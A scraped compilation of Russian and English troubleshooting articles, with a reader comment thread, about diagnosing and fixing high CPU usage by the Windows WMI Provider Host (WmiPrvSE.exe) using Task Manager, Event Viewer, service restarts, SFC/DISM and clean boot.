Возникнут ли после этого проблемы с внешними устройствами? Возможно, но это необязательно должно случиться. В любом случае вы всегда можете включить соответствующую службу точно так же, как и отключили ее.

2поделились
0Facebook
2Twitter
0VKontakte
0Odnoklassniki

Как понять, если WmiPrvSE.exe вызывает высокую загрузку процессора?

В Windows 10, процесс WmiPrvSE.exe потребляет высокую загрузку ЦП (почти 100%) в течение нескольких минут в период времени 15-20 минут. Чтобы проверить, является ли высокая загрузка ЦП из-за WmiPrvSE.exe, вам нужно воспользоваться помощью диспетчера задач. Диспетчер задач можно открыть сочетанием кнопок Ctrl + Shift + Esc. Во вкладке «Процессы» вы увидите описание VMI Provider Host – это и есть WmiPrvSE.exe. Перейдите во вкладку подробности и найдете WmiPrvSE.exe и запомните ИД.

Далее откройте командную строку от имени администратора и введите команду tasklist /m wmiperfclass.dll . Вы увидите список процессов WmiPrvSE.exe с этим модулем. В основном индекс содержит один отдельный процесс, но если у вас есть как 32-разрядные, так и 64-разрядные клиенты, вам могут быть видны два процесса. Однако, если ИД перечисленных процессов аналогичен ИД диспетчера задач, существует высокая вероятность того, что вы столкнулись с проблемой высокой загрузки ЦП службы VMI Provider Host (WmiPrvSE.exe).

(РЕШЕНО) WmiPrvSE.exe грузит систему на 100%

Сегодня столкнулся со следующей проблемой. В офисе начала тормозить одна из машин (Windows Vista SP2). Конечно для висты это не считается аномальным, но тормозить она стала уж очень сильно — приходится ждать отклика на каждое действие по несколько секунд, работать невозможно.

Смотрим диспетчер задач: систему на 100% грузит процесс WmiPrvSE.exe

Убийство этого процесса не помогает, он заново появляется и продолжает грузить систему.

Далее идет необязательный (как позже выяснилось) шаг, который я сделал для диагностики проблемы: чтобы понять что делает этот процесс, скачиваем Process Monitor из набора Microsoft SysInternals

Оказалось, что этот процесс в цикле обращается к файлу tzres.dll, по много сотен раз в секунду, естественно из-за этого все подвисает. Поиск в гугле ничего полезного не дал. В основном люди советуют удалить Windows System Resource Manager, однако его на компьютере не было.

(РЕШЕНО) WmiPrvSE.exe грузит систему на 100% : 45 комментариев

Ты просто молодец что такую статью насписал. Спасибо!

Те кто в HP пишут драйвера — мудаки полные.

Огромное спасибо за статью. Помогло.

Все сделал как написано, однако в описании ClientProcessId=0, соответственно Пид — 0, а ноль это бездействие сиситемы

Там их много, рекомендую смотреть внимательней. (лично у меня их было 12)Спасибо за статью ОЧЕНЬ помогла.

Некропостер детектед! Дмитрий 04.09.2013 в 19:26 Михаил 26.06.2015 в 22:16 Почему бы не поддержать) 02.08.2018

Та же проблема, что и у Дмитрия. ПИД =0. Что делать?

Спасибо очень помогло.

Спасибо! Статья помогла

Тоже ПИД = 0 Кто-нибудь поможет?

alex
Автор записи 28.02.2014 в 14:34

Я бы в этом случае делал так: по очереди отключал бы все службы (внешних программ). Когда нагрузка на процессор упадет — значит дело в этой программе. Так же можно постепенно убивать процессы через ProcessExplorer (он позволяет раскрывать системные процессы и смотреть что именно через них запущено). Подозреваю что PID=0 это что-то из системных процессов. У меня был случай когда System Idle Process грузил процессор на 100% и все подвисало. Помогло отключение в биосе какой-то опции, ACPI чтоли, не помню уже.

alex
Автор записи 01.03.2014 в 14:26

Где-то прочитал что такую проблему с PID=0 вызывает Microsoft Digital Media Keyboard — лечится заменой клавиатуры. Еще можно попробовать остановить службу winmgmt и после этого переименовать библиотеку к которой обращается wmiprvse. Если кто-нибудь справится с проблемой, напишите об этом! А то я смотрю многие с этим мучаются, а решения нет…

Слушай скриншоты приложи. Что за «правая область» ?

Да. Скнриншоты в студию пожалуйста

я конечно добавил скриншоты, но по-моему и без них все достаточно понятно

Аналогичная проблема была из-за LG SmartShare — программки для женитьбы телика и компа по сети — а вообще софтописатели от корпораций производящих железо еще те))))

Спасибо, автор, за статью. Как и у некоторых комментаторов, у меня PID оказался равен 0. Начал по очереди убивать все процессы из диспетчера задач. Процесс teamviewer_service.exe оказался живучим, появлялся снова через пару секунд после отключения. В services.msc пришлось отключить сервис TeamViewer. И Алилуйя, Wmipsrv угомонился.

Самое простое и верное (с точке зрения заморочества) это просто отключить всякую фигню из АВТОЗАГРУЗКИ… Там столько всякого барахла загружаетя…Всякие там асистенты и тому подобного гомна ))) Благо программ для этого много, удачи!

спасибо за данную статью, но столкнулся с небольшими трудностями, процесс грузит систему на 8 — 15% постоянно, бывает на несколько секунд поднимает до 90 и снова 8 — 15… PID всегда разный и диспетчер его не отслеживает как и сам процесс, вижу его только в гаджете на раб столе (( подскажите что делать ??

В моём случае загрузка процессом WmiPrvSE.exe было на 12% и виновником оказался гаджет для рабочего стола в Windows 7.

А я просто добавил к заблокированным (карантин) в AnVir Task Manager. В работе системы к худшему ничего не изменилось. Если что-то пойдёт не так, верну из карантина, вот и всё.

Спасибо автору за наводку. У меня Win 7 x64. wmiprvse.exe постоянно дергал диск. Мне помог вот такой алгоритм: Все делаем, как описано выше. Доходим до WMI-Activity. Включаем журналы. У меня кривизна была в ключе реестра HKEY_CLASSES_ROOTWow6432NodeCLSID . Его надо удалить. Сказано об этом здесь: https://social.technet.microsoft.com/Forums/windows/en-US/2f85b084-f204-43a5-b08e-33fbf21333dc/wmi-provider-registered-in-syswow64-but-cimwin32dll-is-not-there-x64?forum=w7itprogeneral Для того, чтобы удалить, нужно запустить regedit с правами администратора и сделать себя владельцем ветки D63A5850-8F16-11CF-9F47-00AA00BF345C, дать полные права. После чего делаем ребут системы.

Спасибо за ценный совет

Это еб*н*я фигня жаловалась на скайп

Автор, Oleg, спасибо за ценный совет

Спасибо огромное автору, что не поленился написать статью. Давно пользуемся этими принтерами, а с проблемой столкнулся в первый раз. Статья помогла!

Прошу помочь подсказкой. В «Просмотре событий» WMI-Activity/Trace выдает окно «ошибка запроса». Предлагается выключить «активизированный прямой канал». — В журнале пусто.

Что за «канал» и как его отключить?

Специально зайду, чтобы поблагодарить — отличный подход в решение проблемы

У меня вредоносным оказался SWMAgent — гулпая система обновления от Samsung

Спасибо за статью, но у меня вот какая проблема c WmiPrvSE.exe. Система грузится на 4-5%. Операционная система win 10. ClientProcessId = 672 — это служба Appinfo, которая обеспечивает выполнение интерактивных приложений с дополнительными административными привилегиями. Группа netsvcs. И куда копать дальше?

У меня эту службу все время дергал (вызывал) антивирус AVG .

Дякую. стаття супер! в мене будоражив ліннововський GameConfig.exe

Спасибо! Везде пишут массу бесполезных слов, а тут все четко и осмысленно. У меня WmiPrvSE вызывал небольшую постоянную нагрузку (5-15%) из-за того, что использовалось быстрое переключение между пользователями в Windows 10. Закрыл ненужный фоновый сеанс — проблема ушла.

Статья то полезная,но увы я в половине не разобралась.У меня WINDOWS 7 Максимальная,где искать Event Viewer так и не нашла,В итоге запустила его с командной строки.Я хоть и чайник в таких делах,Но 5 лет в браке с программистом делают свое дело.Итак…Зашла я в программку Event Viewer,выполнила все пункты,НО у меня никаких событий в журнале не появилось!а процесс так и грузится..Расскажу с чего все началось,авось поможет кто умненький=)) Дело было так… Включаю комп,у меня черный экран и что то выдает…из всего что я поняла это как зайти в биос.Благо у меня биос на русском,полазила,вышла…думаю ну все не будет комп работать…=(((В биосе я НИЧЕГО НЕ МЕНЯЛА. Винда кое как загрузилась,звезда в шоке.Загрузилась….и наала жестко тупить и тормозить.Еле как открыла Диспечер задач,увидела что все бездействие съедает процесс WmiPrvSE.После трех попыток убить его,поняла что это бесполезно,и полезла на сайт.Что делать то мне. З.Ы перед включением компа поменяла клавиатуру.

З.З.Ы Если не сложно ответьте на почту

А что делать если параметр ClientProssed не появоляется вообще?

Что то не работает этот способ всё делаю как надо , службу нахожу которая нужна отрубаю но ничиго не происходит , он только меняет PID при обновлении и снова нагружает систему ! Отрубать все службы поочерёдно мне как то не хочеться боюсь что что то сломаю….. Задолбал меня этот проццесс уже помогите!

млять, что за Евент Вивер хз… у меня ХР. где искать этот ваш вивер ХУЙ ЕГО ЗНАЕТ. АААааааааааааааа.

При использовании Windows 11 и Windows 10 вы могли неоднократно заметить, что загрузка процессора достигает 100% в течение нескольких минут без запуска каких-либо тяжелых приложений. В некоторых случаях вы увидите в диспетчере задач, что ваш WMI Provider Host или WmiPrvSE.exe вызывает значительное потребление памяти. WMI Provider Host является системным приложением, поэтому вы не можете остановить или удалить его. Эта статья подскажет вам, как исправить высокую загрузку процессора WMI Provider Host в вашей Windows.

Что такое WMI Provider Host (WmiPrvSE.exe)?

WMI Provider Host относится к службе Windows Management Instrumentation Provider Service и предоставляет приложениям возможность собирать информацию и данные о вашей ОС. Он является критически важным для Windows, и поэтому ваша ОС не будет стабильной, если вы его закроете.

Если вы попытаетесь остановить ее, большинство функций вашей ОС Windows перестанут работать, и вы даже можете получить «синий экран смерти».

Почему хост WMI Provider использует так много процессора?

WMI Provider Host по большей части простаивает и запускается только тогда, когда какое-либо приложение запрашивает какие-либо данные от вашей ОС. В состоянии простоя он не должен потреблять ресурсы процессора, но иногда, когда он запущен, он может потреблять большой кусок ресурсов вашей системы в течение короткого периода времени, но проблема возникает, когда это продолжается дольше.

Если ваш WmiPrvSE.exe отнимает память процессора, то это указывает на то, что есть проблемы с вашей системой.компьютер.

Вот наиболее распространенные причины, по которым возникает проблема высокой загрузки процессора WMI Provider Host (WmiPrvSE.exe).

WMI мог застрять или разбиться. Вы не получите уведомление, если это произойдет.

Приложение могло использовать WMI Provider Host в течение некоторого времени.

В вашей системе есть вредоносное ПО, которое постоянно поддерживает процесс.

Устранение сбоев Wmi Provider Host High CPU Usage в Windows PC

В основном, пять решений могут устранить проблему WMI High CPU Usage.

Перезапуск узла WMI Provider Host.

Запуск антивирусной проверки для удаления вредоносного ПО.

Загрузка системы в безопасном режиме с поддержкой сети.

Идентификация и удаление процесса, вызывающего проблему.

Выполните сканирование SFC и DISM.

1] Перезапуск узла WMI Provider

Если ваш узел WMI Provider потерпел крах или упал, то проблему можно решить перезапуском. Следуйте приведенным ниже методам для перезапуска узла WMI Provider Host:

Нажмите Windows Key + R, чтобы открыть диалоговое окно Run.

Введите msc в поле и нажмите Enter.

В окне списка служб прокрутите и найдите имена служб » Windows Management Instrumentation Service «

Щелкните правой кнопкой мыши на службе и выберите перезапуск.

Откройте приглашение Run, введите PowerShell и нажмите клавиши Shift + Enter.

В PowerShell введите команды, приведенные ниже, одну за другой.

net stop iphlpsvcnet stop wscsvc

net stop Winmgmt

net start Winmgmt

net start wscsvc

net start iphlpsvc

Перезагрузите компьютер после того.команды.

2] Запустите антивирусную проверку для удаления вредоносного ПО

Если причиной проблемы является вредоносное ПО или вирус, загрузите антивирусное ПО и запустите полную проверку системы для обнаружения вредоносных приложений.

После полного сканирования проверьте и удалите все нежелательные программы или вредоносные программы в системе, а затем перезагрузите компьютер.

3] Загрузка системы в безопасном режиме с подключением к сети

Если высокая загрузка процессора WMI Provider Host не прекращается, вам придется загрузить систему в безопасном режиме с подключением к сети, чтобы устранить неполадки и решить проблему. Для этого выполните следующие шаги:

Нажмите Windows Key + R, чтобы открыть диалоговое окно Run.

Введите msconfig в поле и нажмите Enter.

Откроется окно Конфигурация системы Перейдите на вкладку Загрузка.

Под опцией Boot выберите опцию Safe Mode , а затем под ней опцию Network .

Нажмите на Применить и Перезагрузите ваш компьютер в Безопасном режиме с включенной Сетью.

Откройте PowerShell с правами администратора

В PowerShell выполните следующую команду и нажмите клавишу Enter

msdt.exe -id MaintenanceDiagnostic

Это откроет окно Обслуживание системы и обнаружит ненужные и поврежденные файлы.

Снова откройте PowerShell и введите команды ниже:

msdt.exe /id PerformanceDiagnostic

Откроется окно Проблемы с производительностью ; нажмите на Сканировать , чтобы начать сканирование.

После того, как процесс будетзавершена, перезагрузите компьютер в обычном режиме.

Снова откройте инструмент MSconfig и снимите флажок с опции безопасного режима.

4] Определение и удаление процесса, вызывающего проблему

Мы можем использовать встроенный инструмент Windows, Event Viewer, для удаления компонентов и драйверов, вызывающих проблему. Этот инструмент позволяет просмотреть запущенные приложения и службы в Windows и проверить, какие из них работают неправильно и вызывают проблемы в ОС.

Нажмите Windows Key + X и выберите Event Viewer из списка.

В верхней строке меню выберите Вид и нажмите на Показать аналитические и отладочные журналы.

Устранение высокой загрузки процессора хоста провайдера WMI приводит к краху компьютера Windows

С левой стороны перейдите к Журналы приложений и служб > Microsoft > Windows > WMI activity > Оперативный журнал .

Найдите процессы ошибок и запишите их Process ID.

Нажмите CTRL + Shift + ESC, чтобы открыть Диспетчер задач и перейдите на вкладку Подробности.

Посмотрите на колонку PID и найдите тот же ID, что и у процесса ошибки в Event Viewer.

Щелкните правой кнопкой мыши на этой службе и выберите Завершить задачу или Удалить.

5] Выполните сканирование SFC и DISM

Возможно, причиной проблемы является системный файл, и поэтому сканирование System File Checker (SFC) может помочь, если все остальные методы не сработали. Для этого выполните следующие действия:

Нажмите Windows Key + X и выберите Windows PowerShell(Admin)

В PowerShell введите командуследующую команду для запуска сканирования:

sfc /scannow

Этот процесс займет некоторое время; после его завершения проверьте, решена ли проблема или нет. Если она сохраняется, можно запустить сканирование Deployment Image Servicing and Management (DISM).

В PowerShell введите эти команды и нажмите клавишу Enter:

DISM /Online /Cleanup-Image /restorehealth

Сканирование может занять некоторое время, не прерывайте процесс.

Можно ли остановить процесс WMI Provider Host?

Да, вы можете остановить процесс из диспетчера задач, но это сделает вашу ОС нестабильной, и более 90% функций системы Windows перестанут работать. В некоторых случаях это даже приводит к появлению синего экрана смерти или сбою системы, что вынуждает вас переустанавливать ОС и терять все данные.

Для чего используется WMI Provider Host в Windows?

WMI Provider Host предоставляет приложениям стандартный путь для запроса информации о состоянии ОС Windows и имеющихся в ней данных. Проще говоря, он следит за тем, чтобы все процессы и службы windows работали так, как должны, и имели доступ ко всей необходимой информации и данным.

Как проверить, связано ли высокое использование ЦП с WMI Host Provider или нет?

Провайдер WMI Host Provider не всегда может быть причиной высокого использования ЦП. Поэтому, если вы чувствуете, что ваша память перегружена, откройте диспетчер задач и щелкните на колонке Память, и он покажет вам, какие службы занимают больше всего ресурсов вашей памяти.

Процесс WMI Provider Host — один из важных компонентов Windows, который обычно не отнимает много системных ресурсов. Тем не менее бывают и исключения из этого правила. Что делать, если WMI начинает отбирать память у компьютера и, таким образом, замедлять его работу? Рассмотрим сегодня, что это за процесс, и как решить проблемы с ним разными методами.

Аббревиатура WMI расшифровывается как Windows Management Instrumentation. В переводе с английского — инструмент управления операционной системы. Этот процесс создали, чтобы приложения и сервисы могли запрашивать необходимую для них информацию у системы и тут же вовремя её получать.

В «Диспетчере задач» отображаются проценты ресурсов, которые процесс WMI отбирает у системы

С помощью процесса WMI пользователь может получить информацию, которая не отображена в интерфейсе компьютера, например, серийный номер ПК, состояние жёсткого диска или модель материнской платны. WMI также отвечает за подключение внешнего оборудования к ПК (наушников, колонок, принтеров и т. д.) и управление им.

Почему данный процесс может грузить ПК

Процесс WMI не потребляет постоянно много ресурсов ПК. Его некоторая активность может наблюдаться, когда какая-то утилита делает запрос информации через WMI. Таким образом, временное увеличение нагрузки на ЦП, «оперативку» и жёсткий диск — норма. Через некоторое время нагрузка уходит. Если же наблюдается потребление большого количества ресурсов этим процессом в течение долгого времени, значит, что-то не так с процессом.

По каким причинам процесс может грузить систему?

Вирус. Если наблюдается непривычное увеличение нагрузки, возможно, это не настоящий процесс WMI, а замаскированный вирус. Здесь необходимо убедиться в том, что он неподлинный и вылечить систему.
Неправильное обновление. Апдейт Windows может установиться некорректно по каким-то причинам. Это, в свою очередь, может вызвать аномальное поведение WMI.
Некорректно установленное приложение. Оно может, таким образом, запрашивать данные неправильно, что и будет заставлять процесс потреблять больше ресурсов, чем требуется.

Что делать, если процесс WMI Provider Host грузит процессор на Windows 10

При аномальной нагрузке от процесса WMI Provider Host необходимо принимать меры. Есть несколько способов исправить ситуацию. Они подойдут даже новичкам, так как в инструкции все действия будут рассмотрены подробно и пошагово.

Проверка на вирусы: как отличить вирус Wmiprvse.exe от подлинного процесса

Чрезмерная нагрузка на ресурсы ПК от Wmiprvse.exe может быть вызвана вирусом, который замаскировался под данный процесс. Как выяснить, настоящий ли это процесс?

Сначала необходимо вызвать на экране «Диспетчер задач». В Windows 10 это сделать намного проще, чем в предыдущих версиях: нажимаем правой клавишей мышки на «Панель задач» и в меню на тёмном фоне выбираем пункт «Диспетчер задач».
Откройте «Диспетчер задач» через контекстное меню «Панели задач»
Теперь ищем в перечне в первой вкладке процесс Wmiprvse.exe.
Щёлкаем по нему правой клавишей и в меню выбираем «Открыть расположение файла».
Именно нетипичное расположение файла указывает на то, что процесс, вероятнее всего, вирус, а не подлинная стандартная служба Windows. На экране должно появиться окно «Проводника Windows» с выделенным файлом в списке. В частности, должна запуститься папка System32 или wbem, расположенная на системном диске.
Если открылся совершенно другой раздел, проверяем ПК антивирусом. Лучше всего в этой ситуации запустить полное сканирование всех жёстких дисков. Сделайте перед этим апдейт антивируса при необходимости. В случае обнаружения вредоносного ПО, программа его удалит или поместит в карантин (изолирует от всех других файлов), а затем сама вылечит систему.
Проверьте свой ПК на наличие вирусов с помощью функции полного сканирования в антивирусе

Отключение WMI Provider Host в службах

Вы можете деактивировать процесс WMI Provider Host («Инструментарий управления Windows») в окне «Службы» или «Диспетчер задач», однако делать это крайне не рекомендуется, так как это может вызвать сбои в системе: могут отключиться важные компоненты Windows. При этом ситуацию вы не исправите: процесс после отключения вновь запустится и будет потреблять ресурсы и дальше. Для решения проблемы необходимо найти сторонний процесс, который постоянной обращается к WMI и, таким образом, нагружает его.

Перезапуск службы

Перед тем как искать процесс, который заставляет Wmiprvse.exe нагружать процессор, попробуйте сделать перезапуск последнего в окне «Службы». Возможно, это единичный сбой. После перезагрузки служба в таком случае начнёт работать в нормальном режиме. Перезапустите ПК либо сделайте следующее в окне «Службы»:

На клавиатуре зажмите две клавиши: Win и R. В появившемся поле «Открыть» вставьте код services.msc, чтобы запустить окно «Службы».
Введите команду services.msc в поле «Открыть»
В большом перечне отыщите службу под названием «Инструментарий управления Windows». Кликаем по ней правой клавишей, а потом выбираем опцию «Перезапустить».
Выберите опцию «Перезапустить» в контекстном меню
Если у вас открыта вкладка «Расширенный», слева у вас будет меню, в котором будет также ссылка «Перезапустить».
Кликните по ссылке «Перезапустить» в средней части окна «Службы»

Поиск приложения, из-за которого повысилась нагрузка

Wmiprvse.exe может потреблять много ресурсов устройства, если к нему постоянно обращается какой-то другой процесс утилиты, установленной на ПК, или подключённого оборудования. Она может неверно работать или просто запрашивать большой объём данных для своих потребностей от WMI-поставщиков. Как в этом случае быть:

Снова вызываем окно «Выполнить»: зажимаем одновременно две кнопки на клавиатуре: Win и R. Вводим код Eventvwr.msc, чтобы открыть окно «Просмотр событий».
Вставьте в поле «Открыть» код Eventvwr.msc
В появившемся окне вам нужно поочерёдно открывать следующие блоки: «Журналы приложений и служб» – Microsoft — Windows — WMIActivity — Operational.
В средней части окна журнала отыщите в перечне пункт «Ошибка». Если там такой не один пункт, откройте несколько первых (то есть самых свежих): кликните левой клавишей мышки по нему и в первой вкладке «Общие» найдите пункт ClientProcessId. Это и есть номер процесса, из-за которого возникла ошибка WMI. Вам необходимо просто запомнить это номер. В данном случае это число 948.
Кликните левой кнопкой по одной из первых ошибок и найдите идентификатор ClientProcessId
Теперь запустите «Диспетчер задач» через контекстное меню «Панели задач». Переключаемся в окне сразу на вкладку «Подробности». Кликните по заголовку столбца «ИД процесса», чтобы легче было найти процесс по номеру. Находим процесс. В нашем случае ошибку вызывал NvBackend.exe.
Найдите в списке приложение с номером ClientProcessId

После определения виновника необходимо решать проблему уже с ним. Вы можете просто перезагрузить найденный процесс или же остановить его работу в «Диспетчере задач» (воспользуйтесь кнопкой «Снять задачу»). Если это не помогает, обновите приложение, которое нагружает процесс Wmiprvse.exe либо переустановите его.

Если вы им вовсе не пользуетесь, удалите его с ПК. Для этого рекомендуется взять сторонний деинсталлятор, например, CCleaner или RevoUninstaller. Эти программы помогут качественно удалить приложение: не останется никаких остаточных записей в виде записей в реестре после очистки.

Чтобы определить, не нагружает ли процесс ЦП из-за какого-то подключённого к ПК устройства, по очереди отсоединяйте то или иное оборудование (мышка, принтер, клавиатура, сканер, колонки и т. д.) и наблюдайте за системой через «Диспетчер задач».

Откат обновления Windows

Если апдейт был неправильно установлен, это может вызвать аномальную загрузку ЦП процессом Wmiprvse.exe. Если ресурсов стало потребляться много сразу после обновления, скорее всего, в этом и причина. В этом случае необходимо сделать ручной откат: удалить установленные обновления, чтобы системы снова смогла их загрузить и установить, но уже корректно. Приступим к процедуре:

На клавиатуре зажимаем две кнопки: Win и I, чтобы на экране появилось окно «Параметры Windows». Если сочетание не срабатывает на вашем ПК, открывайте меню «Пуск» и кликайте по шестерёнке над кнопкой для выключения устройства.
Кликните по иконке в виде шестерёнки, чтобы открыть окно «Параметры Windows»
Среди всех плиток нас интересует только одна — «Обновления и безопасность». Щёлкаем по ней. Она находится в последнем ряду.
Кликните один раз по разделу «Обновления и безопаность»
После этого мы попадём сразу в нужную вкладку «Центр обновления Windows». Здесь кликаем по ссылке «Просмотреть журнал установленных обновлений».
Кликните по ссылке «Просмотреть журнал установленных обновлений»
На следующей странице жмём на «Удалить обновления».
Кликните по первой ссылке «Удалить обновления» для запуска нового окна
На экране появится другое окно с перечнем недавних обновлений. Кликаем по самому последнему правой клавишей и нажимаем на единственный пункт в контекстном меню «Удалить».
В контекстном меню первого апдейта в списке кликните по «Удалить»
Подтверждаем своё намерение удалить последнее обновление. Ждём, когда процедура завершится и проверяем, не снизилась ли нагрузка на ЦП. Если нет, попробуйте удалить ещё одно обновление в этом же списке. Не переживайте — после удаления система сама снова установит их, но на этот раз без ошибок. В результате процесс Wmiprvse.exe не будет нагружаться.
Нажмите на «Да», чтобы подтвердить удаление

Видео: как удалить определённые обновления на Windows 10

Чистая загрузка Windows

Ещё один выход из сложившейся ситуации — «чистый» запуск Windows без загрузки всех ненужных процессов программ, которые и могут заставлять WMI потреблять много системных ресурсов.

Запускаем окно «Выполнить» через сочетание двух кнопок: Win + R. В нём вставляем код msconfig. Чтобы окно выполнило команду, кликаем по ОК либо нажимаем на Enter.
Вставьте команду msconfig в поле «Открыть»
На экране появится «Конфигурация системы». В этом окне нам нужен третий раздел «Службы». В нём необходимо установите отметку слева от опции «Не отображать службы Microsoft».
Поставьте галочку рядом с «Не отображать службы Майкрософт» и нажмите на кнопку «Отключить все»
После этого жмём на кнопку «Отключить все».
Заходим в «Диспетчер задач» через контекстное меню «Панели задач» (кликаем правой клавишей мышки) или с помощью комбинации клавиш Ctrl + Alt + Delete.
В четвёртой вкладке «Автозагрузка» отключите все утилиты, которые активируются сразу при запуске Windows. Для этого выберите левой кнопкой объект, а затем нажмите на кнопку «Отключить», расположенную справа внизу окна. Эта же опция доступна в меню пункта.
Выключите все активированные приложения во вкладке «Автозагрузка»

WMI Provider Host может сильно нагружать систему, если является замаскированным вирусом или если какая-либо утилита, которая запрашивает постоянно информацию у системы через этот процесс, некорректно работает. Если нагрузка на систему большая, сначала необходимо убедиться, что это не вредоносное ПО, а затем выяснить, какое приложение обращается к этому процессу. После этого обновите либо переустановите утилиту. В качестве дополнительных решений выступают откат обновлений и «чистая» загрузка Windows.

Распечатать

Оцените статью:

(36 голосов, среднее: 5 из 5)

Поделитесь с друзьями!

Если углубиться в структуру работы любой операционной системы и посмотреть, какое количество различных процессов осуществляется постоянно, то сравнение работы компонентов компьютера и мозга человека уже не кажется таким смехотворным. Для рядового пользователя такое обилие может показаться бессмысленным и крайне непонятным, так как большинство из них просто прямо не влияет на быстродействие работы компьютера, а значит, и не является важным аспектом для его владельца. Но порой некоторые процессы могут оказывать определённое негативное влияние на скорость работы компьютера, и когда юзер открывает всеми любимый «Диспетчер задач» и видит, что центральный процессор загружен под 90%, то возникает множество вопросов о том, почему это, кто виноват, и как это исправить. В настоящей статье речь пойдёт об одном из представителей упомянутых процессов под названием «WMI Provider Host», а также о том, в чём смысл его работы и как избежать зависания операционной системы.

Устранение процесса WMI Provider Host.

Что это и для чего

подключено новое устройство/оборудование;
активирован процесс автоматической установки или обновления драйверов программного обеспечения подключенного устройства;
одновременная установка программного обеспечения, связанного с работой какого-либо устройства;
скрытое обновление операционной системы;
чрезмерная нагрузка на видеоадаптер в результате активации различных визуальных эффектов.

Поиск решений

Основываясь на вышеприведённых возможных причинах, следует определить первоначальный спектр действий, предполагающих определение и устранение источников зависания:

В «Диспетчере задач» выявите иные процессы, также оказывающие существенное воздействие на «ЦП», так как именно их обращение к «WMI» может вызывать рассматриваемые проблемы. Для анализа выполните следующие манипуляции:
- используя комбинацию клавиш «WIN + R» и команду «Eventvwr.msc» откройте раздел «Просмотр событий»;
- далее, пройдите «Журналы приложений и служб» – «Microsoft» – «Windows» – «WMI Activity» – «Operational» и обратите внимание на последние зафиксированные ошибки;
- кликните по одной из них и на вкладке «Общие» обратите внимание на параметр «ClientProcessID», где будет указан определённый идентификатор процесса, который и является причиной возникновения отдельно взятой ошибки. Стоит учитывать, что просматривать следует только последние записи об ошибке, так как система автоматически изменяет идентификаторы, и многие из них на момент проверки будут просто уже неактуальны.
- откройте «Диспетчер задач», перейдите на вкладку «Подробности», отсортируйте список по столбцу «ИД» и найдите «виновника», номер которого указан в вышеупомянутой строке «ClientProcessID»;
- дальнейшие действия будут зависеть от того, что именно было обнаружено, это может быть и закрытие программы, и её перезапуск.
- если проблема возникла после подключения какого-либо устройства или после каких-либо умышленных манипуляций с системными файлами, отключите их, временно приостановите все активные действия и проверьте загруженность «ЦП»;
Перезагрузите «Инструментарий управления Windows», для этого:

Также стоит отметить, что не будет лишним проверить корректность работоспособности операционной системы и в «Безопасном режиме».

Вирус

К сожалению, довольно часто под «WMI Provider Host» маскируется вирусное программное обеспечение, и, несмотря на простоту выявления «подделки», далеко не каждый пользователь своевременно и корректно реагирует на рассматриваемую проблему. К признакам действия вирусного ПО можно отнести:

Месторасположение – системные файлы располагаются в соответствующих папках – «Windows», «System», «System32», а большинство «рядовых вирусов» получить к ним доступ не могут;
для подтверждения данной теории откройте «Свойства» процесса «WMI Provider Host» и перейдите на вкладку «Подробности», где обратите внимание на подпись в строку «Авторство».

Кроме того, косвенным признаком на действие вирусов можно назвать постоянство нагрузки, которая колеблется в районе 85 – 90% по отношению к «ЦП». Если проверяемый кандидат не прошёл данные проверки, воспользуйтесь любым антивирусным ПО, а также почистите реестр любым удобным способом.

Заключение

В заключение стоит отметить, что приведённые выше действия подходят и для многих иных подобных проблем с системными процессами, а о полезности периодической проверки операционной системы на наличие вирусной активность уже давно известно. По сути, наиболее оптимальным решением будет проведение анализа всех подключаемых устройств, в том числе на внешних носителях данных, так как и они могут являться носителями вирусного программного обеспечения.

И последнее, что следует сказать, это бессмысленность попыток принудительного завершения «WMI», так как даже после успешного его закрытия, что происходит далеко не всегда, он в любом случае будет автоматически перезапущен.

WMI or Windows management interface (WmiPrvSE.exe) is a set of APIs that lets a developer interact with a Windows machine. Usually, you can use it with scripts to gather data from your Windows or change some of the Windows settings. WMI is the platform for all Windows operating systems to manage the data and operations locally and remotely.

In the task manager of Windows 10/11 or 8.1, you can locate the WMI provider host running as a process with the name WmiPrvSE.exe. It stands for Windows Management Instrumentation Provider service. When you switch to the Process Explorer in the task manager, it is displayed as a component of the Web-Based Enterprise System and the Common Information Model (CIM) of Microsoft Operations Manager (MOM) of Windows. MOM was earlier known as SCOM (System Center Operations Manager).

If you are unaware of these terms, let us first explore the meaning and relevance of these terms before proceeding to details.

Among many functions of an OS, process scheduling is very important. MOM or SCOM is a component of Windows OS that works as an event and analytics organizer and a dispatcher. An event and analytics organizer checks the events occurring in a computer system. As an Analytics Organizer, it manages the resources, and as a dispatcher, it hands over(dispatches) the process to be executed in a multiprogramming environment by performing a context switch.

It has many other responsibilities associated with the processes like Security permissions, analysing the network’s security and other regular activities like system diagnostics and reporting, data reliability and performance monitoring.

IT infrastructure may vary at various levels like vendors, configuration, standards of manufacturing, etc. CIM plays a crucial role in managing compliance between elements managed under IT infrastructure. It does so by strictly adhering to the standards predefined for compliance.

WBEM is an internet standards-based protocol that helps to implement the system management technology and bind it to the interface to manage an application within an Operating System. Microsoft has implemented WMI in all its OSs with the help of WBEM.

It also works as a common interface provider and an object model, which can be used to access management information characterizing the Operating System, Devices, Services, and User Applications.

Stopping this service (WmiPrvSE.exe) is not desirable for the Windows-based software since it may result in unexpected behavior of such dependent applications. A lot of other services also depend on the WMI Service. If it is disabled, it may end up terminating these dependent services, or these services may not start altogether.

Whether to Stop WMI Provider Host or Not?

Winmgmt.exe is available in the c:windowssystem32Wbem folder. If you find a copy of winmgmt.exe at some other location in the computer file system, it can be a virus or a Trojan. In such a case, you can clean it with Windows Repair Tool.

The WMIPrvSE service should not be stopped to make your Windows run properly. Although Windows OS won’t shut down or crash on stopping it, many other services depend on this WMI host service.

Some users have experienced high CPU usage by the WMI host service, which leads to system lag, increased CPU temperature and slowing down of the system.

This unusual behavior might be caused due to some application associated with the WMI or some unknown reasons, but the problem can be solved by following these workarounds.

Related: How to check Windows 11 uptime in Task Manager

Restart WMI service

Press the Windows key and R on the keyboard to open a RUN dialogue box. Now type “ services.msc”

Now from the Services window, open the Windows management instrumentation service. The easiest way to find it is by selecting any service from the list and pressing W on the keyboard. Now right, click on the WMI service and restart it.

Restart related services

After you complete the previous step, it’s time to restart Some of the services associated with WMI. To do this, you must right-click the start button and select the command prompt(admin).

Run the following commands one by one:

net stop iphlpsvc

net start iphlpsvc

net stop wscsvc

net start wscsvc

net stop Winmgmt

net start Winmgmt

After successfully typing the above commands in the command prompt window, you need to restart the computer to see the changes.

If the WMI service is still consuming excessive CPU resources, move to the next step.

Uninstall the Process under Event Viewer

It is vital to track down the program creating this problem associated with a particular WMI process (WMI Provider Host) and stop or uninstall the culprit application.

